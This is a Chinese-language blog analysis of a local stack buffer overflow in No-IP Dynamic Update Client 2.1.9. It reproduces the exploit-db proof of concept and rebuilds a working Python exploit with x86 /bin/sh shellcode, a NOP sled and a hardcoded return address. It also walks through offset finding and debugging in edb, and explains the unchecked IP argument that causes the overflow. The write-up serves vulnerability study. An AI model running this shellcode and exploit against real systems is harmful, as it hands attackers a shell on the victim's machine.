盒子
盒子
文章目录
  1. I、实验环境
  2. II、POC
    1. ① 原POC
    2. ② POC 分析
    3. ③运行 POC
  3. III、调试程序
    1. ① 计算返回地址偏移
    2. ② 构造 exploit
      1. 1、初始 exploit
      2. 2、调试程序,定位出错点
      3. 3、查看堆
  4. IV、漏洞成因
    1. ① 堆的变化
    2. ② 栈的变化
    3. ③ 漏洞成因
  5. V、参考文献

No-IP Dynamic Update Client (DUC) 2.1.9 缓冲区溢出分析

溢出原因:对用户输入的 IP 地址没有进行边界检查,导致本地溢出。exploit db POC

I、实验环境

  • 操作系统: kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2
  • 调试工具:edb-debugger
  • 应用程序:No-IP
  • 安装教程:请参考
    Tips: 在安装过程中,需要输入 no ip 账号密码,安装之前,请先前往官网注册。

II、POC

① 原POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
import os
binary = "./noip-2.1.9-1/binaries/noip2-i686"
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"\
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"\
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
nop = "\x90"
nop_slide = 296 - len(shellcode)
# (gdb) print &IPaddress
# $2 = (<data variable, no debug info> *) 0x80573bc
eip_addr = "\xbc\x73\x05\x08"
print "[*] Executing %s ..." % (binary)
os.system("%s -i %s%s%s" % (binary, nop*nop_slide, shellcode, eip_addr))

② POC 分析

  • os.system(“%s -i %s%s%s” % (binary, nop*nop_slide, shellcode, eip_addr))
    执行命令 ./noip-2.1.9-1/binaries/noip2-i686 -i agrs
  • 参数:nopnop_slide + shellcode + eip_addr
    即 “\x90”
    251 + shellcode + eip_addr

③运行 POC

在 kali 下直接运行 POC:

说明 shellcode 成功执行。

III、调试程序

① 计算返回地址偏移

推荐使用 pattern.py 脚本进行计算。
1、构造唯一字符串
命令:

1
./pattern.py 350

构造长度为 350 的字符串
2、使用此参数运行程序
命令:

1
edb --run ./NO-IP/noip-2.1.9-1/binaries/noip2-i686 -i "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al"

结果:

3、计算偏移
命令:

1
pattern.py 0x396a4138

结果

则shellcode可构造为:nops + shellcode + ip_addr,其中 nops + shellcode 长度为 296。

② 构造 exploit

1、初始 exploit

根据上述分析,构造如下 exploit

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python2
p = ''
p += "\x90" * 251
p += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
p += "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
p += "\x80\xe8\xdc\xff\xff\xff/bin/sh"
p += "aaaa"
print p

2、调试程序,定位出错点

(1)、edb 命令:

1
edb --run ./NO-IP/noip-2.1.9-1/binaries/noip2-i686 -i "`./NO-IP/exploit.py`"

(2)、定位

  • F10 运行程序
  • F8 一路单步执行程序,直到溢出

说明,在 0x08049aef 处 call 0x0804bfec 出错

(3)、继续定位
再次使用 edb 命令调试,并在 0x80049aef 处下断点,进入函数内部执行。

  • 在 0x08049aef 处下断点
  • F10 运行程序
  • 再次 F10 运行到断点处
  • F7 进入函数内部
  • F8 一路单步执行,直到函数返回前

(4)、首次试验

才发现,这个程序的栈、堆都是可执行的,简直不能忍!!!!!

ip_addr 换成 shellcode 起始地址 0xbffff34f。
nops(251) + payload + 0xbffff34f
可是发现执行出断错。因为执行shellcode之后,程序继续没有正常退出,继续执行,会报错。

3、查看堆

既然栈和堆都是可执行的,payload 在栈中,执行不成功,查看堆。
原始 POC 中的 ip_addr = 0x080573bc也在堆中,查看此地址附近的堆内容。

ip_addr = 0x080573bc 正好是 shellcode 在堆中的起始地址。

OK,shellcode 构造好了。

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python2
p = ''
p += "\x90" * 251
p += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
p += "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
p += "\x80\xe8\xdc\xff\xff\xff/bin/sh"
p += "\xbc\x73\x05\x08"
print p

分析到此处,对于了解缓冲区溢出的人,都能理解 exploit db 中 POC 的构成了。
以下是分析漏洞成因。

IV、漏洞成因

堆和栈中都有 shellcode
shellcode 在堆中的起始地址:0x080573bc
在栈中的起始地址:0xbffff5bc

在调试程序过程中,一直观察 0x080573bc 和 0xbffff5bc 的变化

① 堆的变化

在 0x08049898 处 call 0x08049b65,将 shellcode 拷贝到堆中

call 0x08049b65 之前的 mov 指令是设置参数
ebp + 12(0xbffff43c,参数起始地址的地址) 的值存放到 esp + 4
ebp + 8 (参数个数)的值存放到 esp

栈中查看 0xbffff43c 的值为 0xbffff58d
内存中查看 0xbffff58d 处,命令 ./NO-IP/noip-2.1.9-1/binaries/noip2-i686 -i “./NO-IP/exploit.py“ 的起始地址处。

因此,此代码段的作用是,将命令拷贝到堆 0x080573bc 处。

② 栈的变化

在 0x0804c050 处 call 0x08049348,将堆中的 shellcode 拷贝到栈中。

call 执行之前

call 执行之后

call 0x08049348 有三个参数,分别存放于 esp,exp+4,esp+8
将 exp+4(&ip=%s) 和 esp+8(堆中shellcode的起始地址) 拷贝到栈 0xbffff250 处。

③ 漏洞成因

  • 输入命令 ./NO-IP/noip-2.1.9-1/binaries/noip2-i686 -i “./NO-IP/exploit.py“,没有对参数进行边界检查
  • 先将整个命令拷贝至堆中
  • 然后在call 0x08049aef 时,将堆中的命令拷贝至栈中,参数溢出,淹没返回地址。

V、参考文献

No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow

支持一下
走过的,路过的,请支持一下我 n(*≧▽≦*)n